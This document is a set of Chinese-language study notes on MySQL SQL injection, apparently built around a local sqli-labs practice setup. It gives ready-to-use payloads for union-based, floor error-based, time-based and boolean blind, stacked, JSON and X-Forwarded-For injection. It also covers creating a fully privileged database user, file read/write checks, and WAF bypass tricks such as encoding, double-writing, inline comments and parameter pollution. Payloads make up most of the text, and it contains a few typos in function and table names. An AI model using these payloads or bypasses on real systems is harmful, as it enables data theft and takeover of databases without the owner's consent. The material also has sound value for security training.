SQL注入之MYSQL语法
数据库服务器的层级关系:服务器里面-->多个数据库--->多个数据表--->多个行列字段-->数据
查询当前服务器所有数据库: show databases;
选中某个数据库 : use 数据库名字;
查询当前数据库所有的表: show tables;
查询T1表所有数据:select * from T1;
条件查询: where 条件 例如select * from T1 where id=1;
合并查询: union 例如select * from T1 where id=1 union select * from T1 where pass=1;
union的特性 :前面的查询语句 和 后面的查询语句 结果互不干扰。
前面查询语句的数量要和后面查询语句的数量一致。前面是*后面也要是*
order by 排序 用来猜解表的列数
information_schema有61张表,记住其中三张表:schemata,tables,columns。
schemata:记录当前MYSQL所有数据库的信息。 库名
tables:提供了关于数据中表的信息。 表名 table_name
columns:提供了表的列信息。 列名 column_name
SQL注入之MYSQL手工注入
get 提交是通过URL post 提交是通过服务器
1、判断有无注入点用and 1=1; 或者随便输入 报错了就是有注入点,没报错就没有注入点
2、猜解列名数量 order by
3、通过报错 查看回显点, 用union联合查询
4、在回显点进行信息收集 version()查看数据库版本 databases()查看库名
5、使用对应的SQL语法进行注入
例:union select 1,table_name,3 from informmation_schema.tables where table_schema='security'; 查询security库下所有的表名
group_concat() 如果显示不下可以用这个函数把table_name包裹起来
SQL注入之高权限注入
高权限注入必须用户是ROOT权限,必须是高版本数据库
user()可以查看当前用户权限
select user,host from mysql.user; 查看mysql有哪些用户
select*from user where user='root' and host='localhost'\G; 查看用户对应权限
CREATE USER 'xxx'@'localhost' IDENTIFIED BY '123456'; 添加用户和密码
GRANT ALL PRIVILEGES ON *.* TO 'xxx'@'localhost' WITH GRANT OPTION;变成管理员权限
drop user xxxx@localhost;删除用户
SQL注入之文件读写
高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了导出文件的权限
show global variables like '%secure%' 查看mysql的全局变量配置
secure_file_priv= 代表对文件读写没有限制
secure_file_priv=NULL 代表不能进行文件读写
SQL注入之数据类型
字符型和数字型的区别在于引号,在注入的过程中字符型需要闭合引号
搜索型注入 like '%xxx%' 模糊查询
例如:select * from user where like '%y%' or 1=1#;
SQL注入之数据提交方式
GTE提交体现在URL上 $id = $_GET['id']
POST提交是直接传递给服务器,常用于登录框注入$name = $_POST['name']
Cookie提交 $c =$_Cookie['s']
Request提交 是一个GET和POST的集合体
SQL注入之查询方式
select查询数据 例:select * from user where id=$id
delete删除数据 例:delete from user where id=$id
insert插入数据 例:inser into user (id,name,pass) values(1,'zhangsan', 123456)
update更新数据 例:update user set pwd='p' where id=1
SQL注入之报错注入
在Xpath_String这个参数输入格式不对的时候会强制报错,并执行sql语句
SQL注入之floor报错
floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concant()中的SQL语句或者函数被执行,所以改语句报错而且被抛出的主键是SQL语句或数执行后的结果。
报错注入的注意事项
floor()报错注入在MySQL版本8.0 已失效,经过测试7.3.4nts也已失效(据说的 本人没有实践过)
注入语句中查询用到的表内数据必须>=3条
需要用到的count(*)、floor()或者ceil()、rand()、group by
爆出当前数据库?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
在运用的时候除了database() 其他都不能变
爆出所有的数据库 通过limit来控制
?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出表名
?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出字段
?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出数据
?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
SQL注入之延时注入
sleep(): Sleep 函数可以使计算机程序(进程,任务或线程)进入休眠
if(): i f 是 计算机编程语言一个关键字,分支结构的一种
mid(a,b,c): 从b开始,截取a字符串的c位
substr(a,b,c): 从b开始,截取字符串a的c长度
left() : left(a,b)从左侧截取a的前b位
length(database())=8 : 判断长度
ord=ascii ascii(x)=100: 判断x的ascii值是否为100
结合场景使用:
select * from t1 where id=1 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=120,sleep(3),0);
select * from t1 where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=116,sleep(2),0);
SQL注入之布尔盲注
先猜解数据库名长度,在去猜解每个字母,通过页面返回判断
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>115--+ 非正常
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>116--+ 非正常
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))=115--+ 正常 http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),2,1))=101--+ 正常 http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),3,1))=99--+ 正常
如此就得到了
第一个字符的ASCII码为115解码出来为“s”
第二个字符的ASCII码为101解码出来为“e”
第二个字符的ASCII码为99解码出来为“c”
依次类推出数据库的名字为“security”
猜解表名
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+
正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正确注:select下的limit是第几个表。
substr下的是截取的表内容。
当前库下(注入点连接的数据库)第一个表ASCII码为114 解码为r
当前库下(注入点连接的数据库)第一个表ASCII码为101 解码为e
当前库下(注入点连接的数据库)第一个表ASCII码为.... 解码为referer
SQL注入之堆叠注入
在SQL中,分号 ;是用来表示一条sql语句的结束; 结束一个sql语句后面继续构造下一个语句
而union injection(联合注入)也是将两条语句合并在一起。区别在于union执行语句类型有限,可以用来执行查询语句,而堆叠注入可以执行的是任意语句
SQL注入之JSON注入
1、按照特定的数据格式查询admin用户密码
json={"username":"admin"}
2、查看源代码,构造payload
代码中的sql语句是这个样子的
构造payload进行注入
json={"username":"admin' order by 3#"}
3、判断当前数据库有多少列
2正常,3报错,判断当前数据库有2列
4、注入带出来数据
json={"username":"admin' and 1=2 union select 1,2#"}
json={"username":"admin' and 1=2 union select user(),database()#"}
SQL注入之XFF注入
在数据包里X-Forwarded-for后面构建sql语句,注意闭合符
SQL注入之WAF绕过
编码绕过
针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等. 举例:union select 1,2,3# =union%0aselect 1\u002c2,3%23
双写绕过
部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。 举例:UNIunionON ,SELselectECT anandd
换行绕过 /n
举例:select * from admin where username = \N union select 1,user() from admin
注释符内联注释绕过
union selecte =/*!union*/ select 注释符里感叹号后面的内容会被mysql执行。
同义词替换
and=&& or=|| =(等于号)=<、> 空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等 注:%0a是换行也可以替代空格HTTP参污染
对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。 举例:?id=1&id=2&id=3 ?id=1/**&id=-1%20union%20select%201,2,3%23*/